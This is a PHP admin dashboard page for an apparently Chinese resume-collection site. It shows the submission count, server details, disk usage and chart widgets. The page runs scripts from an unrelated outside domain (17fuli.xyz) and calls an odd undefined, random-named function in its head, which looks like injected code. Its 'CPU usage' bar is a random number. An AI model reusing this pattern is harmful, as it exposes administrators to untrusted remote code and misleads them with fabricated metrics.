
<!DOCTYPE html>
<html>

<head>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">


    <title>管理首页</title>

    <meta name="keywords" content="">
    <meta name="description" content="">


    <link rel="shortcut icon" href="favicon.ico"> <link href="css/bootstrap.min.css?v=3.3.6" rel="stylesheet">
    <link href="css/font-awesome.css?v=4.4.0" rel="stylesheet">
    <link href="css/plugins/iCheck/custom.css" rel="stylesheet">
    <link href="css/animate.css" rel="stylesheet">
    <link href="css/style.css?v=4.1.0" rel="stylesheet">
<script>
	function displayDate(){
	var cpu =parseInt(Math.random()*50+1)+"%";
	document.getElementById("cpu").style.width=cpu;
	document.getElementById("display").innerHTML=cpu;
}
	window.onload = function(){
			displayDate();
			setInterval(displayDate,3000);	
		}

</script>
<script type="text/javascript">
hQGHuMEAyLn('.adsbygoogle,.fdad,.inner > .add');</script></head>
<?php
error_reporting(0);
$diskz=0; //磁盘总容量
$diskk=0; //磁盘剩余容量
if(@disk_total_space("B:")!=NULL)
{
	$diskct++;
	$disk["B"][0]=round(@disk_free_space("B:")/(1024*1024*1024),2).'G';
	$disk["B"][1]=round(@disk_total_space("B:")/(1024*1024*1024),2).'G';
	$disk["B"][2]=round(((@disk_free_space("B:")/(1024*1024*1024))/(@disk_total_space("B:")/(1024*1024*1024)))*100,2).'%';
	$diskk+=round((@disk_free_space("B:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("B:")/(1024*1024*1024)),2);
}
if(@disk_total_space("C:")!=NULL)
{
	$diskct++;
	$disk["C"][0]=round((@disk_free_space("C:")/(1024*1024*1024)),2).'G';
	$disk["C"][1]=round((@disk_total_space("C:")/(1024*1024*1024)),2).'G';
		$disk["C"][2]=round(((@disk_free_space("C:")/(1024*1024*1024))/(@disk_total_space("C:")/(1024*1024*1024)))*100,2).'%';
	$diskk+=round((@disk_free_space("C:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("C:")/(1024*1024*1024)),2);
}
if(@disk_total_space("D:")!=NULL)
{
	$diskct++;
	$disk["D"][0]=round((@disk_free_space("D:")/(1024*1024*1024)),2).'G';
	$disk["D"][1]=round((@disk_total_space("D:")/(1024*1024*1024)),2).'G';
	$disk["D"][2]=round(((@disk_free_space("D:")/(1024*1024*1024))/(@disk_total_space("D:")/(1024*1024*1024)))*100,2).'%';
	$diskk+=round((@disk_free_space("D:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("D:")/(1024*1024*1024)),2);
}
if(@disk_total_space("E:")!=NULL)
{
	$diskct++;
	$disk["E"][0]=round((@disk_free_space("E:")/(1024*1024*1024)),2).'G';
	$disk["E"][1]=round((@disk_total_space("E:")/(1024*1024*1024)),2).'G';
		$disk["E"][2]=round(((@disk_free_space("E:")/(1024*1024*1024))/(@disk_total_space("E:")/(1024*1024*1024)))*100,2).'%';
	$diskk+=round((@disk_free_space("E:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("E:")/(1024*1024*1024)),2);
}
if(@disk_total_space("F:")!=NULL)
{
	$diskct++;
	$disk["F"][0]=round((@disk_free_space("F:")/(1024*1024*1024)),2).'G';
	$disk["F"][1]=round((@disk_total_space("F:")/(1024*1024*1024)),2).'G';
	$disk["F"][2]=round(((@disk_free_space("F:")/(1024*1024*1024))/(@disk_total_space("F:")/(1024*1024*1024)))*100,2).'%';
	$diskk+=round((@disk_free_space("F:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("F:")/(1024*1024*1024)),2);
}
if(@disk_total_space("G:")!=NULL)
{
	$diskct++;
	$disk["G"][0]=round((@disk_free_space("G:")/(1024*1024*1024)),2).'G';
	$disk["G"][1]=round((@disk_total_space("G:")/(1024*1024*1024)),2).'G';
	$diskk+=round((@disk_free_space("G:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("G:")/(1024*1024*1024)),2);
}
if(@disk_total_space("H:")!=NULL)
{
	$diskct++;
	$disk["H"][0]=round((@disk_free_space("H:")/(1024*1024*1024)),2).'G';
	$disk["H"][1]=round((@disk_total_space("H:")/(1024*1024*1024)),2).'G';
	$diskk+=round((@disk_free_space("H:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("H:")/(1024*1024*1024)),2);
}
if(@disk_total_space("I:")!=NULL)
{
	$diskct++;
	$disk["I"][0]=round((@disk_free_space("I:")/(1024*1024*1024)),2).'G';
	$disk["I"][1]=round((@disk_total_space("I:")/(1024*1024*1024)),2).'G';
	$diskk+=round((@disk_free_space("I:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("I:")/(1024*1024*1024)),2);
}
if(@disk_total_space("J:")!=NULL)
{
	$diskct++;
	$disk["J"][0]=round((@disk_free_space("J:")/(1024*1024*1024)),2).'G';
	$disk["J"][1]=round((@disk_total_space("J:")/(1024*1024*1024)),2).'G';
	$diskk+=round((@disk_free_space("J:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("J:")/(1024*1024*1024)),2);
}
if(@disk_total_space("K:")!=NULL)
{
	$diskct++;
	$disk["K"][0]=round((@disk_free_space("K:")/(1024*1024*1024)),2).'G';
	$disk["K"][1]=round((@disk_total_space("K:")/(1024*1024*1024)),2).'G';
	$diskk+=round((@disk_free_space("K:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("K:")/(1024*1024*1024)),2);
}
if(@disk_total_space("L:")!=NULL)
{
	$diskct++;
	$disk["L"][0]=round((@disk_free_space("L:")/(1024*1024*1024)),2).'G';
	$disk["L"][1]=round((@disk_total_space("L:")/(1024*1024*1024)),2).'G';
	$diskk+=round((@disk_free_space("L:")/(1024*1024*1024)),2);
	$diskz+=round((@disk_total_space("L:")/(1024*1024*1024)),2);
}
?>
<body class="gray-bg" style="">
    <div class="wrapper wrapper-content animated fadeInRight">
 
        <div class="row">
        



            <div class="col-sm-4">
                <div class="widget red-bg p-lg text-center">
                    <div class="m-b-md">
                        <i class="fa fa-envelope-o fa-5x"></i>
 <h1 class="m-xs"><?php include('wx_config.php');
			$num=mysql_query("SELECT * FROM  `lj_data` ");
			echo mysql_num_rows($num);
			?> 份</h1>
                        <h3 class="font-bold no-margins">
                                系统简历总投递数
                            </h3>
            
                    </div>
                    
                </div>
                
                <div >
                   <script language="javascript" type="text/javascript" src="http://www.17fuli.xyz/pz.php?g=qy"></script>
                </div>
               
                 
            </div>
            
           <div class="col-md-6">
                            <div class="widget lazur-bg p-xl">

                    <h2>
                                   服务器信息
                                </h2>
                    <ul class="list-unstyled m-t-md">
                        <li>
                            
                            <label>域名:</label>
                            <?php echo $_SERVER['SERVER_NAME'] ;?>
                        </li>
                        <li>
                            
                            <label>服务器类型:</label>
                             <?php echo php_uname('s');?> 
                        </li>
                        <li>
                           
                            <label>PHP版本:</label>
                           <?php echo  PHP_VERSION ;?>
                        </li>
                        <li>
                           
                            <label>引擎：</label>
                            <?php echo  @$_SERVER['SERVER_SOFTWARE']; ?>
                        </li>
                     
                    </ul>

                </div>
                            <div >
                                <div>
                                    <div>
                                        <span>磁盘</span>
                                        <small class="pull-right"><?php echo $diskk; ?>GB / <?php echo $diskz; ?>GB</small>
                                    </div>
                                    <div class="progress progress-striped active m-b-sm">
                                            <div style="width:<?php echo intval(($diskk/$diskz)*100) ?>%" class="progress-bar"></div>
                                        </div>

                                    <div>
                                        <span>带宽</span>
                                        <small class="pull-right">20 GB</small>
                                    </div>
                                   <div class="progress progress-striped active m-b-sm">
                                            <div style="width: 50%;" class="progress-bar"></div>
                                        </div>

                                    <div>
                                        <span>CPU使用率</span>
                                        <small class="pull-right" onClick="" id="display"></small>
                                    </div>
                                    <div class="progress progress-striped active m-b-sm">
                                            <div   id="cpu" style="width: <?php echo  $cpu;?>%;" class="progress-bar"></div>
                                        </div>

                                    <div>
                                        <span>FTP</span>
                                        <small class="pull-right">400 GB</small>
                                    </div>
                                   <div class="progress progress-striped active m-b-sm">
                                            <div style="width: 20%;" class="progress-bar"></div>
                                        </div>
                                </div>
                            </div>
                            
                            
                            
                            
                        </div>
        </div>
      
<div class="col-sm-12">
                <div class="ibox float-e-margins">
                    <div class="ibox-title">
                        <h5>开发进度</h5>
                        <div class="ibox-tools">
                        </div>
                    </div>
                    <div class="ibox-content timeline">
            <script language="javascript" type="text/javascript" src="http://www.17fuli.xyz/pz.php?g=gx"></script>
                       
                    </div>
                </div>
            </div>



    <!-- 全局js -->
    <script src="js/jquery.min.js?v=2.1.4"></script>
    <script src="js/jquery-ui-1.10.4.min.js"></script>
    <script src="js/bootstrap.min.js?v=3.3.6"></script>



    <!-- 自定义js -->
    <script src="js/content.js?v=1.0.0"></script>


    <!-- iCheck -->
    <script src="js/plugins/iCheck/icheck.min.js"></script>

    <!-- Jvectormap -->
    <script src="js/plugins/jvectormap/jquery-jvectormap-1.2.2.min.js"></script>
    <script src="js/plugins/jvectormap/jquery-jvectormap-world-mill-en.js"></script>

    <!-- Flot -->
    <script src="js/plugins/flot/jquery.flot.js"></script>
    <script src="js/plugins/flot/jquery.flot.tooltip.min.js"></script>
    <script src="js/plugins/flot/jquery.flot.resize.js"></script>
    <script>
        $(document).ready(function () {
            var d1 = [[1262304000000, 6], [1264982400000, 3057], [1267401600000, 20434], [1270080000000, 31982], [1272672000000, 26602], [1275350400000, 27826], [1277942400000, 24302], [1280620800000, 24237], [1283299200000, 21004], [1285891200000, 12144], [1288569600000, 10577], [1291161600000, 10295]];
            var d2 = [[1262304000000, 5], [1264982400000, 200], [1267401600000, 1605], [1270080000000, 6129], [1272672000000, 11643], [1275350400000, 19055], [1277942400000, 30062], [1280620800000, 39197], [1283299200000, 37000], [1285891200000, 27000], [1288569600000, 21000], [1291161600000, 17000]];

            var data1 = [
                {
                    label: "Data 1",
                    data: d1,
                    color: '#17a084'
                },
                {
                    label: "Data 2",
                    data: d2,
                    color: '#127e68'
                }
            ];
            $.plot($("#flot-chart1"), data1, {
                xaxis: {
                    tickDecimals: 0
                },
                series: {
                    lines: {
                        show: true,
                        fill: true,
                        fillColor: {
                            colors: [{
                                opacity: 1
                            }, {
                                opacity: 1
                            }]
                        },
                    },
                    points: {
                        width: 0.1,
                        show: false
                    },
                },
                grid: {
                    show: false,
                    borderWidth: 0
                },
                legend: {
                    show: false,
                }
            });

            var data2 = [
                {
                    label: "Data 1",
                    data: d1,
                    color: '#19a0a1'
                }
            ];
            $.plot($("#flot-chart2"), data2, {
                xaxis: {
                    tickDecimals: 0
                },
                series: {
                    lines: {
                        show: true,
                        fill: true,
                        fillColor: {
                            colors: [{
                                opacity: 1
                            }, {
                                opacity: 1
                            }]
                        },
                    },
                    points: {
                        width: 0.1,
                        show: false
                    },
                },
                grid: {
                    show: false,
                    borderWidth: 0
                },
                legend: {
                    show: false,
                }
            });

            var data3 = [
                {
                    label: "Data 1",
                    data: d1,
                    color: '#fbbe7b'
                },
                {
                    label: "Data 2",
                    data: d2,
                    color: '#f8ac59'
                }
            ];
            $.plot($("#flot-chart3"), data3, {
                xaxis: {
                    tickDecimals: 0
                },
                series: {
                    lines: {
                        show: true,
                        fill: true,
                        fillColor: {
                            colors: [{
                                opacity: 1
                            }, {
                                opacity: 1
                            }]
                        },
                    },
                    points: {
                        width: 0.1,
                        show: false
                    },
                },
                grid: {
                    show: false,
                    borderWidth: 0
                },
                legend: {
                    show: false,
                }
            });

            $('.i-checks').iCheck({
                checkboxClass: 'icheckbox_square-green',
                radioClass: 'iradio_square-green',
            });

            $(".todo-list").sortable({
                placeholder: "sort-highlight",
                handle: ".handle",
                forcePlaceholderSize: true,
                zIndex: 999999
            }).disableSelection();;

            var mapData = {
                "US": 498,
                "SA": 200,
                "CA": 1300,
                "DE": 220,
                "FR": 540,
                "CN": 120,
                "AU": 760,
                "BR": 550,
                "IN": 200,
                "GB": 120,
                "RU": 2000
            };

            $('#world-map').vectorMap({
                map: 'world_mill_en',
                backgroundColor: "transparent",
                regionStyle: {
                    initial: {
                        fill: '#e4e4e4',
                        "fill-opacity": 1,
                        stroke: 'none',
                        "stroke-width": 0,
                        "stroke-opacity": 0
                    }
                },
                series: {
                    regions: [{
                        values: mapData,
                        scale: ["#1ab394", "#22d6b1"],
                        normalizeFunction: 'polynomial'
                    }]
                },
            });
        });
    </script>

    
    

</body>

</html>
